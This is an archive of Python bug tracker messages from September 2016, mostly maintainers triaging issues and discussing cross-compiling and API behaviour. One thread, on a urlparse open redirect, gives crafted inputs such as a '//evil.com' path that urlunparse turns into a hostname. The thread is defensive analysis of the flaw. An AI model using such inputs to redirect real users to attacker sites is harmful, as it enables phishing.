Changes by Christian Heimes <lists at cheimes.de>:


----------
priority: normal -> low
stage:  -> needs patch
type: security -> behavior

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue22187>
_______________________________________

From report at bugs.python.org  Sat Sep 24 15:08:55 2016
From: report at bugs.python.org (Christian Heimes)
Date: Sat, 24 Sep 2016 19:08:55 +0000
Subject: [issue12989] Consistently handle path separator in Py_GetPath on
 Windows
In-Reply-To: <1316131696.55.0.834479609561.issue12989@psf.upfronthosting.co.za>
Message-ID: <1474744135.21.0.441045140544.issue12989@psf.upfronthosting.co.za>


Christian Heimes added the comment:

Steve, is this bug still relevant and a security problem?

----------
assignee:  -> steve.dower
nosy: +christian.heimes
versions: +Python 3.6, Python 3.7 -Python 3.2, Python 3.3, Python 3.4

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue12989>
_______________________________________

From report at bugs.python.org  Sat Sep 24 15:11:23 2016
From: report at bugs.python.org (Christian Heimes)
Date: Sat, 24 Sep 2016 19:11:23 +0000
Subject: [issue23505] Urlparse insufficient validation leads to open redirect
In-Reply-To: <1424736713.95.0.74935935546.issue23505@psf.upfronthosting.co.za>
Message-ID: <1474744283.64.0.791207838124.issue23505@psf.upfronthosting.co.za>


Christian Heimes added the comment:

What's the verdict on this bug? It's been dangling for almost one and half year.

----------
nosy: +christian.heimes
versions: +Python 3.7 -Python 3.2, Python 3.3, Python 3.4

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue23505>
_______________________________________

From report at bugs.python.org  Sat Sep 24 15:12:21 2016
From: report at bugs.python.org (Christian Heimes)
Date: Sat, 24 Sep 2016 19:12:21 +0000
Subject: [issue18789] XML Vunerability Table Unclear
In-Reply-To: <1377008574.91.0.12100936862.issue18789@psf.upfronthosting.co.za>
Message-ID: <1474744341.43.0.265456643452.issue18789@psf.upfronthosting.co.za>


Changes by Christian Heimes <lists at cheimes.de>:


----------
keywords: +easy
type: security -> enhancement
versions: +Python 3.5, Python 3.6, Python 3.7 -Python 3.3, Python 3.4

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue18789>
_______________________________________

From report at bugs.python.org  Sat Sep 24 15:14:07 2016
From: report at bugs.python.org (Christian Heimes)
Date: Sat, 24 Sep 2016 19:14:07 +0000
Subject: [issue24201] _winreg PyHKEY Type Confusion
In-Reply-To: <1431679011.32.0.0649667606823.issue24201@psf.upfronthosting.co.za>
Message-ID: <1474744447.45.0.703057120978.issue24201@psf.upfronthosting.co.za>


Christian Heimes added the comment:

Steve, Zach, please have a look.

----------
assignee:  -> steve.dower
nosy: +christian.heimes
stage:  -> needs patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24201>
_______________________________________

From report at bugs.python.org  Sat Sep 24 15:22:02 2016
From: report at bugs.python.org (Christian Heimes)
Date: Sat, 24 Sep 2016 19:22:02 +0000
Subject: [issue12238] Readline module loading in interactive mode
In-Reply-To: <1307015860.03.0.129842780518.issue12238@psf.upfronthosting.co.za>
Message-ID: <1474744922.05.0.584700708903.issue12238@psf.upfronthosting.co.za>


Christian Heimes added the comment:

Steve took care of the readline import for isolated mode in #28192. We can't change the default behavior. If you want to prevent Python from important files from either cwd, user packages or env vars, you have to use isolated mode. System scripts should use the isolated mode flag, too.

----------
nosy: +christian.heimes, steve.dower
status: open -> pending
superseder:  -> Don't import readline in isolated mode

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue12238>
_______________________________________

From report at bugs.python.org  Sat Sep 24 15:22:58 2016
From: report at bugs.python.org (Christian Heimes)
Date: Sat, 24 Sep 2016 19:22:58 +0000
Subject: [issue24778] mailcap.findmatch: document shell command Injection
 danger in filename parameter
In-Reply-To: <1438503907.2.0.780338961431.issue24778@psf.upfronthosting.co.za>
Message-ID: <1474744978.84.0.598385199651.issue24778@psf.upfronthosting.co.za>


Changes by Christian Heimes <lists at cheimes.de>:


----------
versions: +Python 3.7 -Python 3.4

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24778>
_______________________________________

From report at bugs.python.org  Sat Sep 24 15:23:24 2016
From: report at bugs.python.org (Christian Heimes)
Date: Sat, 24 Sep 2016 19:23:24 +0000
Subject: [issue17405] Add _Py_memset_s() to securely clear memory
In-Reply-To: <1363107252.29.0.782882608.issue17405@psf.upfronthosting.co.za>
Message-ID: <1474745004.5.0.387977969502.issue17405@psf.upfronthosting.co.za>


Changes by Christian Heimes <lists at cheimes.de>:


----------
priority: normal -> low
versions: +Python 3.7 -Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue17405>
_______________________________________

From report at bugs.python.org  Sat Sep 24 15:25:50 2016
From: report at bugs.python.org (Mark Lawrence)
Date: Sat, 24 Sep 2016 19:25:50 +0000
Subject: [issue12989] Consistently handle path separator in Py_GetPath on
 Windows
In-Reply-To: <1316131696.55.0.834479609561.issue12989@psf.upfronthosting.co.za>
Message-ID: <1474745150.01.0.205862474546.issue12989@psf.upfronthosting.co.za>


Changes by Mark Lawrence <breamoreboy at yahoo.co.uk>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue12989>
_______________________________________

From report at bugs.python.org  Sat Sep 24 15:27:00 2016
From: report at bugs.python.org (Mark Lawrence)
Date: Sat, 24 Sep 2016 19:27:00 +0000
Subject: [issue18789] XML Vunerability Table Unclear
In-Reply-To: <1377008574.91.0.12100936862.issue18789@psf.upfronthosting.co.za>
Message-ID: <1474745220.22.0.0112201898165.issue18789@psf.upfronthosting.co.za>


Changes by Mark Lawrence <breamoreboy at yahoo.co.uk>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue18789>
_______________________________________

From report at bugs.python.org  Sat Sep 24 15:54:37 2016
From: report at bugs.python.org (Christian Heimes)
Date: Sat, 24 Sep 2016 19:54:37 +0000
Subject: [issue26005] Denial of Service in SimpleHTTPServer and BaseHTTPServer
In-Reply-To: <1451897650.58.0.64883073344.issue26005@psf.upfronthosting.co.za>
Message-ID: <1474746877.69.0.0993691314589.issue26005@psf.upfronthosting.co.za>


Changes by Christian Heimes <lists at cheimes.de>:


----------
assignee:  -> docs at python
components: +Documentation -Extension Modules
nosy: +docs at python
type: security -> enhancement
versions: +Python 3.7 -Python 3.2, Python 3.3, Python 3.4

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26005>
_______________________________________

From report at bugs.python.org  Sat Sep 24 16:00:43 2016
From: report at bugs.python.org (Christian Heimes)
Date: Sat, 24 Sep 2016 20:00:43 +0000
Subject: [issue27235] Heap overflow occurred due to the int overflow
 (Python-2.7.11/Modules/posixmodule.c)
In-Reply-To: <1465149697.95.0.775433257828.issue27235@psf.upfronthosting.co.za>
Message-ID: <1474747243.72.0.861433388946.issue27235@psf.upfronthosting.co.za>


Christian Heimes added the comment:

I agree with Xiang and Larry. I don't see how you can successfully create an overflow.

----------
nosy: +christian.heimes
resolution:  -> not a bug
status: open -> pending

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27235>
_______________________________________

From report at bugs.python.org  Sat Sep 24 16:13:55 2016
From: report at bugs.python.org (Alexander Sosedkin)
Date: Sat, 24 Sep 2016 20:13:55 +0000
Subject: [issue28265] builtin_function_or_method's __getattribute__ not
 applicable to self
Message-ID: <1474748035.58.0.360622195645.issue28265@psf.upfronthosting.co.za>


New submission from Alexander Sosedkin:

I've managed to obtain several objects, which __getattribute__ cannot be applied to them.

Minimal non-working example (a more detailed one is attached):
b = abs.__class__
b.__getattribute__(b, 'x')

Proxying such objects turned out to be even harder that proxying everything else in Python (as if it wasn't already mindbogglingly hard).

As you can see, given that 'builtin_function_or_method' object you can obtain its __getattribute__, but you cannot apply it.

Tested with Python 3.5.2 and 3.6.0b1.

What's the deal with that broken __getattribute__? It seems to be specific to 'builtin_function_or_method' class, but why is it broken? If it is "PyObject_GenericGetAttr", then why object.__getattribute__(b, 'x') works? What am I missing?

----------
components: Interpreter Core
files: getattribute.py
messages: 277332
nosy: t184256
priority: normal
severity: normal
status: open
title: builtin_function_or_method's __getattribute__ not applicable to self
type: behavior
versions: Python 3.5, Python 3.6
Added file: http://bugs.python.org/file44802/getattribute.py

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28265>
_______________________________________

From report at bugs.python.org  Sat Sep 24 16:21:01 2016
From: report at bugs.python.org (Santiago Castro)
Date: Sat, 24 Sep 2016 20:21:01 +0000
Subject: [issue28207] SQLite headers are not searched in custom locations
In-Reply-To: <1474313690.75.0.976333515942.issue28207@psf.upfronthosting.co.za>
Message-ID: <1474748461.19.0.514923042865.issue28207@psf.upfronthosting.co.za>


Santiago Castro added the comment:

Okay, that did work. But shouldn't it call pkg-config, so I don't need to set the flags manually?

I mean, I'm running this in my user's home, in a computer which I don't have root access, and I used Linuxbrew (https://github.com/Linuxbrew/brew) for this, and installed libbz2 headers, openssl headers, pkg-config, sqlite3 headers and all worked but finding the sqlite3 headers.

Just fyi, when I run pkg-config --cflags sqlite3 this is what I get:

-I/home/sacastro/.linuxbrew/Cellar/sqlite/3.14.1/include

which is ok.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28207>
_______________________________________

From report at bugs.python.org  Sat Sep 24 16:58:29 2016
From: report at bugs.python.org (Steve Dower)
Date: Sat, 24 Sep 2016 20:58:29 +0000
Subject: [issue24201] _winreg PyHKEY Type Confusion
In-Reply-To: <1431679011.32.0.0649667606823.issue24201@psf.upfronthosting.co.za>
Message-ID: <1474750709.28.0.712071365473.issue24201@psf.upfronthosting.co.za>


Steve Dower added the comment:

I think this requires arbitrary code execution as a minimum - there's no way anyone would pass a user-provided value here - so the security implications are less interesting.

All we can really do is restrict the types accepted here, which I don't think is appropriate in a maintenance release. Possibly it's not too late to deprecate in 3.6 for removal in 3.8, but it is certainly a documented feature. Checking a handle for validity is not part of user mode API, as far as I know - EAFP.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24201>
_______________________________________

From report at bugs.python.org  Sat Sep 24 17:26:17 2016
From: report at bugs.python.org (Christian Heimes)
Date: Sat, 24 Sep 2016 21:26:17 +0000
Subject: [issue27766] Add ChaCha20 Poly1305 to SSL ciphers
In-Reply-To: <1471251462.7.0.145357415362.issue27766@psf.upfronthosting.co.za>
Message-ID: <1474752377.45.0.494976993328.issue27766@psf.upfronthosting.co.za>


Changes by Christian Heimes <lists at cheimes.de>:


----------
dependencies:  -ssl: get CPU cap flags for AESNI and PCLMULQDQ
resolution:  -> fixed
stage: commit review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27766>
_______________________________________

From report at bugs.python.org  Sat Sep 24 17:30:03 2016
From: report at bugs.python.org (Christian Heimes)
Date: Sat, 24 Sep 2016 21:30:03 +0000
Subject: [issue27778] PEP 524: Add os.getrandom()
In-Reply-To: <1471368341.7.0.188364803995.issue27778@psf.upfronthosting.co.za>
Message-ID: <1474752603.8.0.290424804874.issue27778@psf.upfronthosting.co.za>


Christian Heimes added the comment:

I think the documentation is too specific. We typically don't document all possible error numbers. Something along the lines "fails with OSError when getrandom is not supported" is sufficient.

----------
assignee:  -> docs at python
components: +Documentation
nosy: +docs at python
priority: normal -> low
type: security -> enhancement

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27778>
_______________________________________

From report at bugs.python.org  Sat Sep 24 17:47:50 2016
From: report at bugs.python.org (Christian Heimes)
Date: Sat, 24 Sep 2016 21:47:50 +0000
Subject: [issue25300] Enable Intel MPX (Memory protection Extensions) feature
In-Reply-To: <1443788737.62.0.174147088714.issue25300@psf.upfronthosting.co.za>
Message-ID: <1474753670.38.0.389223050503.issue25300@psf.upfronthosting.co.za>


Christian Heimes added the comment:

Let's have another look at this enhancement for 3.7. Hopefully we have some machines to develop with and test MPX, too. I don't have any machine at home that supports hardware MPX. Does any of our buildbots have a Skylake with MPX?

----------
nosy: +christian.heimes
versions:  -Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue25300>
_______________________________________

From report at bugs.python.org  Sat Sep 24 17:50:35 2016
From: report at bugs.python.org (Barry A. Warsaw)
Date: Sat, 24 Sep 2016 21:50:35 +0000
Subject: [issue25235] EmailMessage.add_attachment() creates parts with
 spurious MIME-Version header.
In-Reply-To: <1474736760.08.0.185372655531.issue25235@psf.upfronthosting.co.za>
Message-ID: <20160924175031.714fbc3d@subdivisions.wooz.org>


Barry A. Warsaw added the comment:

On Sep 24, 2016, at 05:06 PM, R. David Murray wrote:

>Barry, would you care to render an opinion on this proposed fix?

I think the general approach is probably the best you can do.  I noticed a
couple of things though with RDM's v.2 patch.

First, I get test failures when applying to the 3.5 branch, specifically
test_mime_version_added_to_mime_message() fails.  I won't attach the failure
I'm seeing unless you can't reproduce it.

Second, if I'm reading RFC 2045#section-4 correctly, I think the embedded
rfc822 attachment should have a MIME-Version header, in this code:

-----snip snip-----
from email.message import EmailMessage

m = EmailMessage()
m.set_content('This is a body')

o = EmailMessage()
o.add_attachment(m)

print(o)

print(m['mime-version'])
-----snip snip-----

But instead I get:

Content-Type: multipart/mixed; boundary="===============4744209610526815348=="
MIME-Version: 1.0

--===============4744209610526815348==
Content-Type: message/rfc822
Content-Transfer-Encoding: 8bit
Content-Disposition: attachment

MIME-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 7bit

This is a body

--===============4744209610526815348==--

1.0

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue25235>
_______________________________________

From report at bugs.python.org  Sat Sep 24 17:52:27 2016
From: report at bugs.python.org (Eric Snow)
Date: Sat, 24 Sep 2016 21:52:27 +0000
Subject: [issue28265] builtin_function_or_method's __getattribute__ not
 applicable to self
In-Reply-To: <1474748035.58.0.360622195645.issue28265@psf.upfronthosting.co.za>
Message-ID: <1474753947.11.0.131016789692.issue28265@psf.upfronthosting.co.za>


Eric Snow added the comment:

Hmm.  It's not clear what you're after here.  The error from your example code is correct.  The valid invocation is:

b.__getattribute__(abs, 'x')

That works just fine.  If you want to look up *class* attributes then you must call __getattribute__ on the class's class:

type(b).__getattribute__(b, 'x')

This is how attribute lookup works.  I recommend closing this as not-a-bug.  If you have further question your best bet is to ask on the python-list mailing list.

----------
nosy: +eric.snow
status: open -> pending

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28265>
_______________________________________

From report at bugs.python.org  Sat Sep 24 17:57:22 2016
From: report at bugs.python.org (Martin Panter)
Date: Sat, 24 Sep 2016 21:57:22 +0000
Subject: [issue21109] tarfile: Traversal attack vulnerability
In-Reply-To: <1396253659.12.0.842636239516.issue21109@psf.upfronthosting.co.za>
Message-ID: <1474754242.8.0.961610897856.issue21109@psf.upfronthosting.co.za>


Martin Panter added the comment:

Issue 17102 is open about the specific problem of escaping the destination directory. Maybe it is a duplicate, but this bug also discusses other problems.

----------
dependencies: +tarfile extract can write files outside the destination path

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21109>
_______________________________________

From report at bugs.python.org  Sat Sep 24 17:57:47 2016
From: report at bugs.python.org (Rouslan Korneychuk)
Date: Sat, 24 Sep 2016 21:57:47 +0000
Subject: [issue28266] setup.py uses build Python's configuration when
 cross-compiling
Message-ID: <1474754266.33.0.418200551185.issue28266@psf.upfronthosting.co.za>


New submission from Rouslan Korneychuk:

When building Python, the setup.py script will use values from sysconfig, even when cross compiling. When cross compiling, the interpreter that runs setup.py is configured for the build system, not the host system, so the wrong values are used. This patch should fix that.

It should be noted that the updated script assumes it is run from the build directory (like the Makefile) and that the script is at the top-level source directory. Also it uses a private method from sysconfig. This is unavoidable without modifying the sysconfig interface (or duplicating code).

----------
components: Cross-Build
files: setup-fix.patch
keywords: patch
messages: 277340
nosy: Alex.Willmer, Rouslan Korneychuk
priority: normal
severity: normal
status: open
title: setup.py uses build Python's configuration when cross-compiling
type: behavior
versions: Python 3.5
Added file: http://bugs.python.org/file44803/setup-fix.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28266>
_______________________________________

From report at bugs.python.org  Sat Sep 24 18:21:59 2016
From: report at bugs.python.org (Christian Heimes)
Date: Sat, 24 Sep 2016 22:21:59 +0000
Subject: [issue7412] distutils install race condition
In-Reply-To: <1259571666.51.0.555227768726.issue7412@psf.upfronthosting.co.za>
Message-ID: <1474755719.41.0.10527006366.issue7412@psf.upfronthosting.co.za>


Christian Heimes added the comment:

This is not a security problem per se. It's rather a request to chance the behavior of package installation.

----------
type: security -> behavior

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue7412>
_______________________________________

From report at bugs.python.org  Sat Sep 24 19:04:58 2016
From: report at bugs.python.org (Larry Hastings)
Date: Sat, 24 Sep 2016 23:04:58 +0000
Subject: [issue21109] tarfile: Traversal attack vulnerability
In-Reply-To: <1396253659.12.0.842636239516.issue21109@psf.upfronthosting.co.za>
Message-ID: <1474758298.28.0.965880178113.issue21109@psf.upfronthosting.co.za>


Changes by Larry Hastings <larry at hastings.org>:


----------
nosy:  -larry

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21109>
_______________________________________

From report at bugs.python.org  Sat Sep 24 19:24:37 2016
From: report at bugs.python.org (Martin Panter)
Date: Sat, 24 Sep 2016 23:24:37 +0000
Subject: [issue23505] Urlparse insufficient validation leads to open redirect
In-Reply-To: <1424736713.95.0.74935935546.issue23505@psf.upfronthosting.co.za>
Message-ID: <1474759477.92.0.0583445036643.issue23505@psf.upfronthosting.co.za>


Martin Panter added the comment:

It is not clear what Yassine?s bug is. Maybe it is about round-tripping from urlparse() ? urlunparse(). If so, it could be solved by fixing either of the following two problems:

1. urlunparse() forgets the initial pair of slashes when netloc="". That might be addressed by Issue 22852, and documented as a limitation in the mean time.

2. urlunparse() accepts invalid components, such as netloc="", path="//evil.com", which transforms the path into a hostname. Yassine preferred to percent-encode the path and pass it through, though I think an exception would be more sensible. Or just documenting that there is little or no validation.

When considering the second problem of validation, you have to be aware that urlunparse() is documented to handle schemes like ?mailto:? not listed in ?uses_netloc?. According to RFC 6068, mailto://evil.com is valid syntax, and is decoded to netloc="", path="//evil.com". In this case, netloc="evil.com" would probably be invalid instead.

----------
dependencies: +urllib.parse wrongly strips empty #fragment, ?query, //netloc

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue23505>
_______________________________________

From report at bugs.python.org  Sat Sep 24 20:26:48 2016
From: report at bugs.python.org (Zachary Ware)
Date: Sun, 25 Sep 2016 00:26:48 +0000
Subject: [issue28266] setup.py uses build Python's configuration when
 cross-compiling
In-Reply-To: <1474754266.33.0.418200551185.issue28266@psf.upfronthosting.co.za>
Message-ID: <1474763208.0.0.574619780116.issue28266@psf.upfronthosting.co.za>


Zachary Ware added the comment:

Could you try 3.6b1 and see if it works correctly for you? Cross-building support has changed significantly in 3.6.

----------
nosy: +doko, xdegaye, zach.ware

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28266>
_______________________________________

From report at bugs.python.org  Sat Sep 24 22:05:18 2016
From: report at bugs.python.org (Rouslan Korneychuk)
Date: Sun, 25 Sep 2016 02:05:18 +0000
Subject: [issue28266] setup.py uses build Python's configuration when
 cross-compiling
In-Reply-To: <1474754266.33.0.418200551185.issue28266@psf.upfronthosting.co.za>
Message-ID: <1474769118.06.0.133076952835.issue28266@psf.upfronthosting.co.za>


Rouslan Korneychuk added the comment:

Here is an updated patch for 3.6b1. I was able to compile Python with the changes, natively (x86_64 linux) and for ARM, using an Android "isolated toolchain." However, with the ARM build, a file named _sysconfigdata_m_linux_x86_64-linux-gnu.py ended up in build/lib.linux-x86_64-3.6 instead of build/lib.linux-arm-3.6 like the ".so"s did. I don't know what created the file or where it's used. I'm sure I could figure it out if I investigate, but I'll wait for a reply first, since this is new behaviour and I figure someone on here could save me some trouble.

----------
versions: +Python 3.6
Added file: http://bugs.python.org/file44804/setup-fix.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28266>
_______________________________________

From report at bugs.python.org  Sun Sep 25 00:58:02 2016
From: report at bugs.python.org (Alexander Sosedkin)
Date: Sun, 25 Sep 2016 04:58:02 +0000
Subject: [issue28265] builtin_function_or_method's __getattribute__ not
 applicable to self
In-Reply-To: <1474748035.58.0.360622195645.issue28265@psf.upfronthosting.co.za>
Message-ID: <1474779482.12.0.0882130140798.issue28265@psf.upfronthosting.co.za>


Alexander Sosedkin added the comment:

Oh, I see. The invocation b.__getattribute__(b, attrname) worked on so many objects that I didn't even think it could be incorrect.

Sorry for wasting your time.

----------
resolution:  -> not a bug
status: pending -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28265>
_______________________________________

From report at bugs.python.org  Sun Sep 25 02:29:53 2016
From: report at bugs.python.org (Chi Hsuan Yen)
Date: Sun, 25 Sep 2016 06:29:53 +0000
Subject: [issue28266] setup.py uses build Python's configuration when
 cross-compiling
In-Reply-To: <1474754266.33.0.418200551185.issue28266@psf.upfronthosting.co.za>
Message-ID: <1474784993.39.0.354274348235.issue28266@psf.upfronthosting.co.za>


Chi Hsuan Yen added the comment:

This is fixed two weeks ago. See issue28046. The relevant fix is at http://bugs.python.org/issue28046#msg275845. Xavier pushed it to default before the 3.6 branch is created. I guess it should already be in 3.6b1??

Current hg tip works for me:

$ find build/21-aarch64-linux-android-4.9/lib/python3.7 -name '*sysconfigdata*.py'
build/21-aarch64-linux-android-4.9/lib/python3.7/_sysconfigdata_m_linux_aarch64-linux-android.py
build/21-aarch64-linux-android-4.9/lib/python3.7/lib-dynload/_sysconfigdata_m_linux_aarch64-linux-android.py

I'm using my own build script: https://github.com/yan12125/python3-android. If different build scripts lead to different result, CPython should handle it. Rouslan, would you like to share your build script?

----------
nosy: +Chi Hsuan Yen

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28266>
_______________________________________

From report at bugs.python.org  Sun Sep 25 02:48:50 2016
From: report at bugs.python.org (Chi Hsuan Yen)
Date: Sun, 25 Sep 2016 06:48:50 +0000
Subject: [issue28207] SQLite headers are not searched in custom locations
In-Reply-To: <1474313690.75.0.976333515942.issue28207@psf.upfronthosting.co.za>
Message-ID: <1474786130.94.0.0101361408161.issue28207@psf.upfronthosting.co.za>


Chi Hsuan Yen added the comment:

Hmmm, currently only _ctypes uses pkg-config to detect libffi's header path, as it's not easy to determine without pkg-config. Is there a magic that enables openssl and bz2 outside standard paths :)

Anyway, using pkg-config is not a bad idea. I'd like to hear from some core developers. Zach, is it a good idea to introduce pkg-config for dependencies?

----------
nosy: +zach.ware

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28207>
_______________________________________

From report at bugs.python.org  Sun Sep 25 04:07:49 2016
From: report at bugs.python.org (Rouslan Korneychuk)
Date: Sun, 25 Sep 2016 08:07:49 +0000
Subject: [issue28266] setup.py uses build Python's configuration when
 cross-compiling
In-Reply-To: <1474754266.33.0.418200551185.issue28266@psf.upfronthosting.co.za>
Message-ID: <1474790869.04.0.773584895599.issue28266@psf.upfronthosting.co.za>


Rouslan Korneychuk added the comment:

I just tried compiling 3.6 unmodified for Android and it failed when trying to build libffi. The error message included these two lines:

configure: error: cannot run C compiled programs.
If you meant to cross compile, use `--host'.

so 3.6b1 is still missing something.


As for sharing my build script, I'm not sure what you are referring to. I just ran:

TOOLKIT_BASE=/home/rouslan/bin/android21-arm-toolchain
TOOLKIT_BIN=$TOOLKIT_BASE/bin/arm-linux-androideabi
~/build/Python-test-3.6.0b1/configure \
    --build=x86_64-unknown-linux-gnu --host=arm-linux \
    --enable-ipv6 \
    CC="$TOOLKIT_BIN-gcc --sysroot=$TOOLKIT_BASE/sysroot -pthread" \
    CXX="$TOOLKIT_BIN-g++ --sysroot=$TOOLKIT_BASE/sysroot -pthread" \
    AR=$TOOLKIT_BIN-ar \
    RANLIB=$TOOLKIT_BIN-ranlib \
    READELF=$TOOLKIT_BIN-readelf \
    CFLAGS="-fPIC -mthumb -march=armv7-a -mfloat-abi=softfp -mfpu=neon -DNDEBUG" \
    LDFLAGS="-fPIC -march=armv7-a -Wl,--fix-cortex-a8" \
    PYTHON_FOR_BUILD=~/build/python-test/python \
    ac_cv_file__dev_ptmx=yes ac_cv_file__dev_ptc=yes ac_cv_little_endian_double=yes
make

I don't know if all of that is even necessary. This is what was needed to build 3.5.0 (version 3.5.0 also required a number of additional changes to compile). There is also a build script I use for my project that incorporates Python, which has additional changes, such as the ability to run from an apk (android package) file, but it's a SCons file and does a whole lot more than just build Python (which it does by running configure and make, anyway).

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28266>
_______________________________________

From report at bugs.python.org  Sun Sep 25 04:53:56 2016
From: report at bugs.python.org (Chi Hsuan Yen)
Date: Sun, 25 Sep 2016 08:53:56 +0000
Subject: [issue28266] setup.py uses build Python's configuration when
 cross-compiling
In-Reply-To: <1474754266.33.0.418200551185.issue28266@psf.upfronthosting.co.za>
Message-ID: <1474793636.62.0.225407827538.issue28266@psf.upfronthosting.co.za>


Chi Hsuan Yen added the comment:

The problem is: setting PYTHON_FOR_BUILD manually breaks cross-compiling. Please remove it, add python3.6 to $PATH and cross-compiling should be OK.

For the problem of libffi: since issue27976 using bundled libffi is deprecated. Please build libffi outside CPython and then use --with-system-ffi.

Some other minor points:
* Android support is still highly experimental. Please consider using the latest mercurial changeset, or at least 3.6.x. 3.5.x requires too many patches.
* Android NDK has deprecated GCC. Mostly CPython is tested on clang.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28266>
_______________________________________

From report at bugs.python.org  Sun Sep 25 04:56:18 2016
From: report at bugs.python.org (Antti Haapala)
Date: Sun, 25 Sep 2016 08:56:18 +0000
Subject: [issue23505] Urlparse insufficient validation leads to open redirect
In-Reply-To: <1424736713.95.0.74935935546.issue23505@psf.upfronthosting.co.za>
Message-ID: <1474793778.84.0.0306960822314.issue23505@psf.upfronthosting.co.za>


Antti Haapala added the comment:

The problem is in `urlunparse`. If you check the RFC 2396, it has the following regular expression:

     ^(([^:/?#]+):)?(//([^/?#]*))?([^?#]*)(\?([^#]*))?(#(.*))?

where group 3 is the //netloc, and 4 is netloc substring, of an url http://netloc/foobar - and this is what Python should use to parse an URI using RFC 2396... but:

    >>> pat.fullmatch('////netloc').group(4)
    ''
    >>> pat.fullmatch('/relative').group(4)
    >>> 

Someone took the shortcut. no netloc is different from netloc being the empty string '', but 

    >>> urlparse('////netloc')
    ParseResult(scheme='', netloc='', path='//netloc', params='', query='', fragment='')
    >>> urlparse('/netloc')
    ParseResult(scheme='', netloc='', path='/netloc', params='', query='', fragment='')

In the latter parsing result netloc should be *None*. Unfortunately I believe it is too late to change this either way.

----------
nosy: +ztane

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue23505>
_______________________________________

From report at bugs.python.org  Sun Sep 25 05:23:49 2016
From: report at bugs.python.org (Rouslan Korneychuk)
Date: Sun, 25 Sep 2016 09:23:49 +0000
Subject: [issue28266] setup.py uses build Python's configuration when
 cross-compiling
In-Reply-To: <1474754266.33.0.418200551185.issue28266@psf.upfronthosting.co.za>
Message-ID: <1474795429.02.0.186971881365.issue28266@psf.upfronthosting.co.za>


Rouslan Korneychuk added the comment:

> The problem is: setting PYTHON_FOR_BUILD manually breaks cross-compiling. Please remove it, add python3.6 to $PATH and cross-compiling should be OK.

I see.


> For the problem of libffi: since issue27976 using bundled libffi is deprecated. Please build libffi outside CPython and then use --with-system-ffi.

Will do.


> Some other minor points:
* Android support is still highly experimental. Please consider using the latest mercurial changeset, or at least 3.6.x. 3.5.x requires too many patches.

I've had 3.5 running on my Android tablet for a year now, so it's a little late to worry about how many patches it requires (I didn't submit a patch then, because until recently, my changes made it compile *only* for Android).


> * Android NDK has deprecated GCC.

I know :(  Updating my SCons script to use Clang is on my to-do list.

----------
resolution:  -> duplicate
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28266>
_______________________________________

From report at bugs.python.org  Sun Sep 25 05:35:49 2016
From: report at bugs.python.org (Chi Hsuan Yen)
Date: Sun, 25 Sep 2016 09:35:49 +0000
Subject: [issue28190] Detect curses headers correctly for cross-compiling
In-Reply-To: <1474132808.23.0.788365161086.issue28190@psf.upfronthosting.co.za>
Message-ID: <1474796149.44.0.824088449251.issue28190@psf.upfronthosting.co.za>


Changes by Chi Hsuan Yen <yan12125 at gmail.com>:


----------
title: Cross-build _curses failed if host ncurses headers and target ncurses headers have different layouts -> Detect curses headers correctly for cross-compiling

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28190>
_______________________________________

From report at bugs.python.org  Sun Sep 25 05:45:48 2016
From: report at bugs.python.org (Vitaly Murashev)
Date: Sun, 25 Sep 2016 09:45:48 +0000
Subject: [issue28267] [MinGW] Crash at start when compiled by MinGW for 64-bit
 Windows using PC/pyconfig.h
Message-ID: <1474796748.74.0.791284991149.issue28267@psf.upfronthosting.co.za>


New submission from Vitaly Murashev:

Hi,here the issue:
We (crystax.net) use custom builds of cpython,
which for windows are compiled by MinGW with pyconfig.h taken from PC/pyconfig.h
And for 32-bit Windows everything works well, but for 64-bit Windows - doesn't.

The root cause of this issue is actauly very simple:

Python code for windows is very sensitive on properly defined macro MS_WIN32/MS_WIN64
And while MS_WIN32 is predefined unconditionally in PC/pyconfig.h,
the MS_WIN64 is defined only in conjunction with _MSC_VER, like

